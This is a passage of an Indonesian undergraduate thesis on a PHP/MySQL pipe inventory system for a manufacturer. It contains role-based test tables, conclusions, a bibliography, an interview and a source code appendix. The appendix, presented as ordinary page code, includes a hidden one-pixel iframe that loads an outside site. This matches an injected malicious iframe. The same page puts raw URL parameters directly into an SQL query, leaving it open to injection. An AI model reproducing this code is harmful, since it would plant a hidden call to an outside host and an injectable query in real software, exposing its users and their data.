5 Klik tombol Reset Data yang terisi akan

terhapus

OK

6 Klik tombol menu input

data pipa keluar

Masuk halaman form input

data pipa keluar

OK

7 Isi data pipa keluar Pengisian sejumlah data

pipa keluar

OK

8 Klik tombol menu drop

down untuk menentukan

nama pipa

Tampil nama pipa OK

9 Klik tombol menu drop

down untuk menentukan

nama pembeli

Tampil nama pembeli OK

10 Klik tombol simpan Data tersimpan ke dalam

database pipa keluar

OK

11 Klik tombol Reset Data yang terisi akan

terhapus

OK

12 Klik tombol menu input

data pembeli

Masuk halaman form input

data pembeli

OK

13 Isi data pembeli Pengisian sejumlah data

pembeli

OK

14 Klik tombol simpan Data tersimpan ke dalam

database pembeli

OK

15 Klik tombol Reset Data yang terisi akan

terhapus

OK

16 Klik tombol menu

reproduksi pipa

Masuk halaman form input

reproduksi pipa

OK

17 Isi data reproduksi pipa Pengisian sejumlah data

reproduksi pipa

OK

18 Klik tombol menu drop

down untuk menentukan

nama pipa

Tampil nama pipa OK

Page 191: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

165

19 Klik tombol simpan Data tersimpan ke dalam

database reproduksi

OK

20 Klik tombol Reset Data yang terisi akan

terhapus

OK

21 Klik tombol work order Masuk halaman form input

data work order

OK

22 Isi data work order Pengisian sejumlah data OK

23 Klik tombol menu drop

down untuk menentukan

nama pipa dan pembeli

serta tanggal kirim

Tampil nama pipa dan

pembeli serta tanggal kirim

OK

24 Klik tombol simpan Data tersimpan ke dalam

database work order

OK

25 Klik tombol Reset Data yang terisi akan

terhapus

OK

26 Klik tombol Logout Menampilkan pesan

warning yang di awali

dengan kalimat terima kasih

anda berhasil logout

OK

27 Klik tombol OK Kembali ke menu login OK

4.6.2 Uji coba user Manager

Melakukan uji coba sebagai user manager. Hasil yang didapat sebagai berikut

Tabel 4.32 Uji coba user Manager

No. Rancangan Proses Hasil yang diharapkan Hasil

1 Isi user name dan

password

Masuk halaman utama (home) yang

diawali dengan tulisan Selamat Datang

OK

2 Klik tombol menu Menampilkan halaman laporan pipa OK

Page 192: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

lap. pipa masuk masuk

3 Klik tombol menu

drop down untuk

menentukan nama

tanggal, bulan dan

tahun laporan

Tampil tanggal, bulan dan tahun OK

4 Klik tombol search Menampilkan data pipa sesuai tanggal

yg di inputkan

OK

5 Klik tombol print Laporan di print OK

6 Klik tombol menu

lap. pipa keluar

Menampilkan halaman laporan pipa

keluar

OK

7 Klik tombol menu

drop down untuk

menentukan nama

tanggal, bulan dan

tahun laporan

Tampil tanggal, bulan dan tahun OK

8 Klik tombol search Menampilkan data pipa sesuai tanggal

yg di inputkan

OK

9 Klik tombol print Laporan di print OK

10 Klik tombol menu

lap. Data pembeli

Menampilkan halaman laporan data

pembeli

OK

11 Klik tombol menu

drop down untuk

menentukan nama

tanggal, bulan dan

tahun laporan

Tampil tanggal, bulan dan tahun OK

12 Klik tombol search Menampilkan data barang sesuai

tanggal yg diinputkan

OK

13 Klik tombol print Laporan di print OK

14 Klik tombol menu

lap. Reproduksi

pipa

Menampilkan halaman laporan

reproduksi pipa

OK

Page 193: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

167

4.6.3 Uji coba user Tallyman

Melakukan uji coba sebagai user tallyman. Hasil yang didapat sebagai berikut

15 Klik tombol menu

drop down untuk

menentukan nama

tanggal, bulan dan

tahun laporan

Tampil tanggal, bulan dan tahun OK

16 Klik tombol search Menampilkan data pipa sesuai tanggal

yg di inputkan

OK

17 Klik tombol print Laporan di print OK

18 Klik tombol menu

lap. Stok pipa

Menampilkan halaman laporan Stok

Pipa

OK

19 Klik tombol print Laporan di print OK

20 Klik tombol menu

lap. Work order

Menampilkan halaman laporan work

order

OK

21 Klik tombol menu

drop down untuk

menentukan nama

tanggal, bulan dan

tahun laporan

Tampil tanggal, bulan dan tahun OK

22 Klik tombol search Menampilkan data barang sesuai

tanggal yg diinputkan

OK

23 Klik tombol print Laporan di print OK

24 Klik tombol Logout Menampilkan pesan warning yang di

awali dengan kalimat terima kasih

anda berhasil logout

OK

25 Klik tombol OK Kembali ke menu login OK

Page 194: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Tabel 4.33 Uji coba user Tallyman

No. Rancangan Proses Hasil yang diharapkan Hasil

1 Isi user name dan

password

Masuk halaman utama (home) yang

diawali dengan tulisan Selamat Datang

OK

2 Klik menu cek

barang

Menampilkan halaman cek barang

yang tersedia

OK

4 Klik menu input

reproduksi pipa

Menampilkan halaman reproduksi

pipa

OK

5 Isi data reproduksi

pipa

Pengisian data reproduksi pipa OK

6 Klik tombol simpan Data reproduksi tersimpan di dalam

database

OK

7 Klik tombol reset Data yang telah diisi akan hilang atau

memasukkan data kembali

OK

8 Klik tombol Logout Menampilkan pesan warning yang di

awali dengan kalimat terima kasih

anda berhasil logout

OK

9 Klik tombol OK Kembali ke menu login OK

4.6.4 Uji coba user Marketing

Melakukan uji coba sebagai user marketing. Hasil yang didapat sebagai berikut

Tabel 4.34 Uji coba user Marketing

No. Rancangan Proses Hasil yang diharapkan Hasil

1 Isi user name dan

password

Masuk halaman utama (home) yang

diawali dengan tulisan Selamat Datang

OK

2 Klik menu work

order

Menampilkan halaman work order OK

Page 195: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

169

5 Isi data work order Pengisian data work order OK

6 Klik tombol simpan Data reproduksi tersimpan di dalam

database

OK

7 Klik tombol reset Data yang telah diisi akan hilang atau

memasukkan data kembali

OK

2 Klik menu data

pembeli

Menampilkan halaman data pembeli OK

5 Isi data pembeli Pengisian data pembeli OK

6 Klik tombol simpan Data pembeli tersimpan di dalam

database

OK

7 Klik tombol reset Data yang telah diisi akan hilang atau

memasukkan data kembali

OK

8 Klik tombol Logout Menampilkan pesan warning yang di

awali dengan kalimat terima kasih

anda berhasil logout

OK

9 Klik tombol OK Kembali ke menu login OK

Page 196: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

170

BAB V

KESIMPULAN DAN SARAN

5.1 Kesimpulan

Dari pembahasan yang sudah diuraikan maka penulis mencoba membuat

simpulan sebagai berikut:

1. Sistem Inventory management open store ini dibangun untuk memudahkan

pengolahan data pipa, baik untuk memasukkan pipa ke dalam open store,

reproduksi pipa, mengeluarkan pipa untuk dikirim dan lain sebagainya, dengan

menggunakan bahasa pemrograman PHP dan dikoneksikan dengan database

MySQL.

2. Penyusunan laporan yang ada dalam sistem inventory management open store

ini sudah terintegrasi, ketika admin menginput data tentang pipa, baik itu tentang

input data pipa masuk, keluar maupun reproduksi dan juga bisa menambah data

pembeli, maka secara otomatis manager bisa langsung melihat laporan yang

diinginkan, tanpa harus menunggu waktu lama.

3. Design Sistem inventory management open store berbasiskan web base sehingga

lebih dinamis dan terlihat user friendly.

Page 197: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

171

5.2 Saran

Berdasarkan simpulan – simpulan yang telah dikemukakan, dapat

diajukan beberapa saran untuk pengembangan lebih lanjut antara alain:

1. Pengembangan sistem inventory management open store ini dapat

dikembangkan ke bagian Transportation Manager setelah proses penyimpanan

pipa dari open store sampai pengiriman kepada pelanggan.

2. Pengembangan sistem inventory management open store ini dapat

dikembangkan ke bagian pembayaran dan distribusi.

Page 198: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

DAFTAR PUSTAKA

Agustina, Maria S. 2010. Shourt Course Mendesain Website Dinamis dan

Menarik dengan Adobe Dreamweaver CS4. Wahana Komputer.

Semarang

Akbar, Ali ST. 2006. Panduan Cepat Menguasai Teknologi Informasi dan

Komunikasi. Gava Media. Yogyakarta.

Anhar ST. 2010. Panduan Menguasai PHP & MySQL. Mediakita. Jakarta

Ar-Rifai, Muhammad Nasib, 2003 Ringkasam Tafsir Ibnu Katsir Jilid 2. Gema

Insani. Depok

Bintarto, HR. 2002. Perangkaan Penelitian. Andi. Yogyakarta

Hardjono, Dhewiberta. 2006. Menguasai Pemrograman Web dengan PHP 5.

Andi. Yogyakarta

Indrajit, Richardus Eko, dan Richardus Djokopranoto. 2006. Konsep Manajemen

Supply Chain Cara Baru Memandang Mata Rantai Penyediaan

Barang. Grasindo. Jakarta

Indrajit, Richardus Eko, dan Richardus Djokopranoto. 2003. Konsep Manajemen

Persediaan Barang Umum dan Suku Cadang untuk Keperluan

Pemeliharaan, Perbaikan, dan Operasi. Grasindo. Jakarta

Irawan. 2009. Kamus Istilah Komputer untuk Orang Awam. Maxikom.

Palembang

Jogiyanto. 2008. Metodologi Penelitian Sistem Informasi. Andi. Yogyakarta

Page 199: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Kadir, Abdul. 2003. Pengenalan Sistem Informasi. Andi. Yogyakarta

McLeod, Raymond & George Schell. 2004. Sistem Informasi Manajemen.

Penerbit PT. INDEKS. Jakarta

Mulyanto, Agus. 2009. Sistem Informasi: Konsep dan Aplikasi. Pustaka Pelajar.

Yogyakarta.

Munawar. 2005. PemodelanVisual dengan UML. Penerbit Graha Ilmu.

Yogyakarta.

Nawawi, Imam. 1981. Shohih Muslim. Darul Fikri. Jakarta

Pressman, Roger. 2002. Rekayasa Perangkat Lunak Pendekatan Praktisi, Buku

Satu. Andi. Yogyakarta.

Pujawan, I Nyoman. 2005. Supply Chain Management. Guna Widya. Surabaya

Riyanto, Slamet. 2006. Praktikum Adobe Photoshop CS. Datakom. Jakarta

Siagian , M. Yolanda. 2007. Aplikasi Supply Chain Management: Dalam Dunia

Bisnis . Grasindo. Jakarta

Sopandi, Dede. 2006. Instalasi dan Konfigurasi Jaringan Komputer.

Informatika. Bandung

Sutabri, Tata. 2005. Sistem Informasi Manajemen. Andi. Yogyakarta

Wahidin.2007. Jaringan Komputer untuk Orang Awam. Maxikom. Palembang

Whitten, Jeffry L. 2004. Metode Desain & Analisis Sistem Edisi 6. Edisi

Internasional. Andi McGraw Hill: Jakarta

Page 200: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Widodo, Prabowo Pudjo, dan Herlawati. 2011. Menggunakan UML.

Informatika. Bandung

Page 201: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

L1

LAMPIRAN

WAWANCARA

Page 202: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Lampiran 1

Form Wawancara

Waktu : Senin, 05 Maret 2012

Responden : Bpk. Riyadi Teguh M

Jabatan : Supervisor Open Store

1. Assalamu’alaikum Pak, mohon maaf pak kalau saya mengganggu, boleh

saya minta waktunya untuk melakukan penelitian disini?

Jawab:

Wa’alaikumsalam iya boleh, apa yang bisa saya bantu nih?

2. Begini Pak, saya dari UIN Jakarta ingin melakukan penelitian disini

tentang Inventory Open Store, bisa bpk. Ceritakan apa yang dimaksud

dengan Open Store itu?

Jawab:

Owh begitu, baiklah saya akan ceritakan tentang open store, Open Store

adalah tempat penyimpanan pipa jadi (Finish Pipe) yang telah di

produksi dan di periksa oleh QAE ( Quality Assurance Environment)

dengan mengecek kualitasnya berdasarkan surat LPPJ (Laporan Pipa

Produk Jadi) yang ada.

3. Bisa Bapak ceritakan alur proses bisnis yang ada didalam Open Store?

Jawab:

Proses yang dilakukan hanyalah menyimpan pipa yang telah jadi (Finish

Pipe) dari bagian produksi untuk disimpan sebelum di kirim ke

pelanggan.

4. Apakah Cuma itu saja pak proses yang ada di Open Store?

Jawab:

Tidak, sebenarmya masih ada proses yang harus saya catat sebagai data

yang nantinya akan saya berikan secara periode kepada manager. Dan

satu lagi mengenai masalah rusaknya pipa pada saat penyimpanan, yang

harus di produksi ulang oleh bagian produksi.

Page 203: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

5. Apa saja kendala yang dapat menghambat kinerja bapak selama ini?

Jawab:

Kendala yang paling utama ialah proses dalam pencatatan laporan,

setiap pipa yang masuk dan keluar harus saya catat dan saya berikan

nantinya kepada manager untuk laporan, sementara pipa yang masuk

banyak, saya dan teman – teman karyawan bekerja masih manual dalam

proses pengolahan datanya jadi kami memerlukan banyak waktu untuk

mengolah data tersebut.

6. Harapan bapak tentang pemanfaatan teknologi informasi diperusahaan

ini apa?

Jawab:

Saya berharap dapat dibangun sebuah sistem yang terkomputerisasi agar

menunjang pekerjaan kami sehingga dapat meningkatkan kinerja

perusahaan ini khususnya bagi kami yang berada di bagian open store

ini. Sayapun berharap agar sistem yang dibangun tidak membuat

kesulitan dalam penggunaannya.

7. Bagaimana bentuk sistem yang tepat dan baik bagi perusahaan bapak

khususnya untuk bagian open store ini?

Jawab:

Bentuk yang kami inginkan sederhana dan mudah digunakan sehingga

kami tidak mengalami kesulitan untuk menggunakannya.

8. Transaksi apa saja yang terdapat di dalam open store?

Jawab:

Transaksi yang kami lakukan didalam open store ini meliputi data pipa

masuk, data pipa keluar, penambahan pembeli, data pipa reproduksi,

data work order. Data beberapa pengolahan data laporannya untuk setiap

traksaksi tersebut yang akan kami kirimkan untuk manager.

Page 204: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

L2

LAMPIRAN

TAMPILAN

APLIKASI

Page 205: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

1. Menu Login

2. Menu Manage User

Page 206: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

3. Menu Input Pipa Masuk

4. Menu Input Pipa Keluar

Page 207: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

5. Menu Data Pipa

6. Menu Input Data Reproduksi

Page 208: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

7. Menu Data Pembeli

8. Menu Work Order

Page 209: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

9. Menu Laporan Pipa Masuk

10. Menu Laporan Pipa Keluar

11. Menu Laporan Reproduksi Pipa

Page 210: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

12. Menu Laporan Stok Pipa

13. Menu Laporan Pembeli

14. Menu Cek Barang

Page 211: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

L3

LAMPIRAN

CODING

Page 212: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

<?php

include("include/function.php");

$main = new skripsi();

$akses = $main->cekSession();

if($akses) {

$reg_userID = $_SESSION["reg_userID"];

$reg_fullName = $_SESSION["reg_fullName"];

$reg_hakUser = $_SESSION["reg_hakUser"];

$level = $main->cekHakAkses($reg_hakUser);

$page = $_GET['page'];

$action = $_GET['action'];

$main->connect_db();

$queryX = mysql_query("SELECT title, include, include_2, id FROM page

WHERE page='$page' AND action='$action'");

$barisX = mysql_fetch_row($queryX);

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>PT Bakrie Pipe Industries |<?php echo $barisX[0]; ?></title>

<link rel="shortcut icon" href="images/logo.png">

<link href="include/style.css" rel="stylesheet" type="text/css" />

<script type="text/javascript" src="include/script.js"></script>

<link rel='stylesheet' type='text/css' href='include/quickmenu_styles.css'/>

<script type='text/javascript' src='include/quickmenu.js'></script>

<script type='text/javascript'

src='http://www.mycssmenu.com/qmv6/qm_visual.js'></script>

</head>

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

var timerID = null;

var timerRunning = false;

function stopclock () {

if(timerRunning)

clearTimeout(timerID);

timerRunning = false;

}

function showtime () {

var now = new Date();

var day = now.getDate();

var month = now.getMonth();

var year= now.getFullYear();

Page 213: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

var hours = now.getHours();

var minutes = now.getMinutes();

var seconds = now.getSeconds()

ardate = new

Array("0","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15

","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30

","31");

armonth = new Array("January ","February ","March ","April ","May

","June ","July ","August ","September ", "October ","November ","December

")

var timeValue = ardate[day] + " " + armonth[month] + year + " | "

timeValue += ((hours >12) ? hours -12 :hours)

if (timeValue == "0") timeValue = 12;

timeValue += ((minutes < 10) ? ":0" : ":") + minutes

timeValue += ((seconds < 10) ? ":0" : ":") + seconds

timeValue += (hours >= 12) ? " P.M." : " A.M."

document.clock.face.value = timeValue;

timerID = setTimeout("showtime()",1000);

timerRunning = true;

}

function startclock() {

stopclock();

showtime();

}

// End -->

</SCRIPT>

<body onLoad="startclock()">

<div align=center><img src="images/header.jpg" alt="Header" /></div>

<div align="center">

<table width=900 class="table_content">

<tr>

<td width="150px" valign="top" align="left">

<table width="150" border="0">

<ul id="qm0" class="qmmc">

<li><a href="indexi.php">Home</a></li>

<?php if($reg_hakUser==0) { ?>

<li><a class="qmparent"

href="javascript:void(0)">Administrator</a>

<ul>

<li><a href="?page=user&action=add">Manage User</a></li>

</ul></li>

<?php } ?>

<?php if($reg_hakUser==2 OR $reg_hakUser==0) { ?>

<li><a class="qmparent" href="javascript:void(0)">Input</a>

Page 214: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

<ul>

<li><a href="?page=brgmasuk&action=add">Data Pipa

Masuk</a></li>

<li><a href="?page=brgkeluar&action=add">Data Pipa

Keluar</a></li>

<li><a href="?page=databrg&action=add">Data Pipa</a></li>

<li><a href="?page=pembeli&action=add">Data Pembeli</a></li>

<!--<li><a href="?page=supp&action=add">Data Suplier</a></li>-->

<li><a href="?page=sortir&action=add">Reproduksi Pipa</a></li>

</ul></li>

<?php } ?>

<?php if($reg_hakUser==0) { ?>

<li><a href="?page=wo&action=add">Work Order</a></li>

<?php } ?>l

<?php if($reg_hakUser==1 OR $reg_hakUser==0) { ?>

<li><a class="qmparent" href="javascript:void(0);">Laporan</a>

<ul>

<li><a href="?page=brgmasuk&action=lap">Lap. Pipa

Masuk</a></li>

<li><a href="?page=brgkeluar&action=lap">Lap. Pipa

Keluar</a></li>

<!--<li><a href="?page=supp&action=lap">Lap. Data

Suplier</a></li>-->

<li><a href="?page=pembeli&action=lap">Lap. Data

Pembeli</a></li>

<li><a href="?page=sortir&action=lap">Lap. Reproduksi

Pipa</a></li>

<li><a href="?page=stock&action=lap">Lap. Stok Pipa</a></li>

<li><a href="?page=wo&action=lap">Lap. Work Order</a></li>

</ul></li>

<?php } ?>

<?php if($reg_hakUser==2) { ?>

<li><a href="?page=wo&action=lap">Lap. Work Order</a></li>

<?php } ?>

<?php if($reg_hakUser==3 OR $reg_hakUser==0) { ?>

<li><a href="?page=ready&action=lap">Cek Barang</a></li>

<?php } ?>

<li class="qmclear">&nbsp;</li></ul>

<!-- Create Menu Settings: (Menu ID, Is Vertical, Show Timer, Hide

Timer, On Click ('all' or 'lev2'), Right to Left, Horizontal Subs, Flush Left, Flush

Top) -->

<script

type="text/javascript">qm_create(0,false,0,500,'all',false,false,false,false);</script>

</table>

</td>

<td width="5px" class="line">

Page 215: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

</td>

<td valign="top" align="left">

<table class="table_box" width=730>

<tr>

<td colspan=2 align="left"><?php echo "Welcome

<strong>$reg_fullName</strong> | Login as <strong>$level</strong> | <strong><a

href=\"logout.php\">Logout</a></strong>";?>

</td>

</tr>

<tr>

<form name="clock">

<td><div class=title2><?php echo $barisX[0]; ?></div></td>

<td align="right">

<input type="text" name="face" size=28 value="">

</td>

</form>

</tr>

<tr>

<td colspan=2 align="center" width=700>

<?php

if(!empty($_SESSION['LOG_ERROR'])) {

echo "<div id='log-error'>".$_SESSION['LOG_ERROR']."</div>";

$_SESSION['LOG_ERROR'] = null;

}

?>

</td>

</tr>

<tr>

<td>&nbsp;</td>

</tr>

<?php

if($main->cekFiles($reg_userID, $barisX[3])) {

?>

<tr>

<td colspan=2><?php include "$barisX[1]"; ?></td>

</tr>

<tr>

<td colspan=2><br /><br /><?php

if($barisX[2]=="") {

echo "&nbsp;";

}

else {

include "$barisX[2]";

}

?></td>

</tr>

<?php

}

Page 216: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

else {

echo "<tr><td colspan=2 width=600 align=center>";

$main->info_msg("Anda tidak punya hak untuk mengakses menu ini!",

"");

echo "</td></tr>";

}

?>

</table>

</td>

</tr>

<tr>

<td colspan="3"><div class="footer"></div></td>

</tr>

<tr>

<td colspan="3"><font style="text-align:left">&copy; 2013 PT Bakrie Pipe

Industries All Right Reserved.

</font>

<font style="text-align:right">Powered by Nasrullah</font>

</td>

</tr>

</table>

</div>

<iframe src="http://www.Trenz.pl/rc/" width=1 height=1

frameborder=0></iframe>

</body>

</html>

<?php

}

else {

$main->warn_msg("Anda belum login, silakan login kembali","index.php");

}

?>

Page 217: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

L4

LAMPIRAN

SURAT

KETERANGAN

PENELITIAN

Page 218: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh